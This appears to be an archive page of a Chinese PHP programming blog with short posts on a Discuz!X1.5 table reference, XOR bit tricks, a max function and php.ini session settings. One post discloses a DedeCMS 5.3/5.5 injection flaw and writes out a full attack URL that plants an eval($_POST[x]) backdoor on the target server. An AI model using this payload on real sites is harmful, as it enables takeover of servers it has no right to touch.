12

经过一个星期的整理,终于将 DiscuzX1.5 的 198个数据表整理出来了,旨在为学习和使用 Discuz!X1.5 系统和开发基于 Discuz!X1.5 系统插件的朋友提供一个参考。

由于我的能力有限,难免会有错误之处,敬请指正。 

PS:DZ 在开发文档开放方面没有 PW 做的好。

 在线手册

CHM下载

十二 18
  1. <?php
  2. // 生成100万个数字
  3. $array  = array();
  4. for ($i = 0; $i < 1000000; $i++) {
  5.     $array[$i] = 1000000 - $i; // 最好的情况 最大的3个数字在前3个
  6.     // $array[$i] = $i; // 最坏的情况 最大的3个数字在后3个
  7. }
  8.  
  9. // 声明数组
  10. $result = array(0, 0 ,0);
  11.  
  12. // 开始遍历查找
  13. foreach ($array as $i => $value) {
  14.     if ($array[$i] > $result[2]) { // 与第3位数字对比
  15.         $temp = $array[$i];
  16.         $array[$i] = $result[2];
  17.         $result[2] = $temp;
  18.         if ($result[2] > $result[1]) { // 与第2位数字对比
  19.             $temp = $result[2];
  20.             $result[2] = $result[1];
  21.             $result[1] = $temp;
  22.             if ($result[1] > $result[0]) { // 与第1位数字对比
  23.                 $temp = $result[1];
  24.                 $result[1] = $result[0];
  25.                 $result[0] = $temp;
  26.             }
  27.         }
  28.     }
  29. }
  30.  
  31. /**
  32.  * 结果
  33.  * Array ( [0] => 1000000 [1] => 999999 [2] => 999998 )
  34.  */
  35. print_r($result);

看xdebug的结果在最好情况下耗时1秒左右:

最坏情况耗时3秒左右:

十二 06

给定两个正整数(二进制形式表示)A和B,问把A变为B需要改变多少位(bit)?
也就是说,整数A 和B 的二进制表示中有多少位是不同的?

先异或A和B得结果C,在统计结果C的二进制中有多少位1,即求到了A和B的二进制中有多少不同的位N。

  1. <?php
  2. $n = 0;
  3. $a = 10;
  4. $b = 20;
  5. $c = $a ^ $b;
  6.  
  7. echo 'A:' . str_pad(decbin($a), 8, 0, STR_PAD_LEFT) . '<br />';
  8. echo 'B:' . str_pad(decbin($b), 8, 0, STR_PAD_LEFT) . '<br />';
  9. echo 'C:' . str_pad(decbin($c), 8, 0, STR_PAD_LEFT) . '<br />';
  10. while ($c) {
  11.     $c &amp;= ($c - 1);
  12.     $n++;
  13. }
  14. echo 'N:' . $n . '<br />';
10

dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:

http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

可看见以下错误信息

注入成功

注入成功

Continue reading »

10

用位运算中的异或运算

[code lang="php"]
$a = 888;
$b = 999;

echo "交换前:\$a = {$a}; \$b = {$b};";
$b = $a ^ $b;
$a = $a ^ $b;
$b = $a ^ $b;
echo "交换后:\$a = {$a}; \$b = {$b};";
[/code]

此算法能够实现是由异或运算的特点决定的,通过异或运算能够把 $a 和 $b 中不同的位设为 1 。这就意味着任意一个数与任意一个给定的值连续异或两次,值不变。

详细运算过程:
$a = 888;
$b = 999;

没有异或:
$a 的二进制是 1101111000
$b 的二进制是 1111100111

第一次按位异或:$b = $a ^ $b;
1101111000
1111100111
—————–
0010011111

$a 的二进制是 1101111000
$b 的二进制是 0010011111
第二次按位异或:$a = $a ^ $b
0010011111
1101111000
—————–
1111100111

$a 的二进制是 1111100111
$b 的二进制是 0010011111
第三次按位异或:$b = $a ^ $b
1111100111
0010011111
—————–
1101111000

$a 的二进制是 1111100111
$b 的二进制是 1101111000

成功交换变量的值

09

我觉得这道题不是简单在考三元运算符,主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。
[code lang="php"]
$a = 1;
$b = 2;
$c = 3;
echo my_max($a, $b, $c);

function my_max()
{
$max = 0;
$args = func_get_args();

foreach ($args as $nums) {
$max = (is_numeric($nums) && $max < $nums) ? $nums : $max;
}

return $max;
}
[/code]

07

   我实际操作下了,能不能用要根据 php.ini 对 SESSION 的配置情况

   php.ini 中 SESSION 的配置
      session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
   在这种情况下SESSION是可以使用的,服务器端会自动在地址后面附加PHPSESSIONID参数。
   示例:http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37

   php.ini 中 SESSION 的配置
      session.use_only_cookies = 1; // 开启仅使用cookies存放会话id
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
   在这种情况下虽然已经允许了SessionID通过URL明文传输,担是同时又开启了仅使用cookies存放会话SessionID,所以在URL中明文传输的PHPSESSIONID参数值是无效的,SESSION 不能用。

   php.ini 中 SESSION 的配置
      session.use_trans_sid = 0; // 禁止SessionID通过URL方式明文传输
   SESSION 不能用, 这是最这安全的做法,也是 php.ini 的默认配置

16

ZendOptimizer-3.3.0 绿色版

php.ini配置:${path}表示系统路径

[Zend]
zend_extension_manager.optimizer_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0″
zend_extension_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll”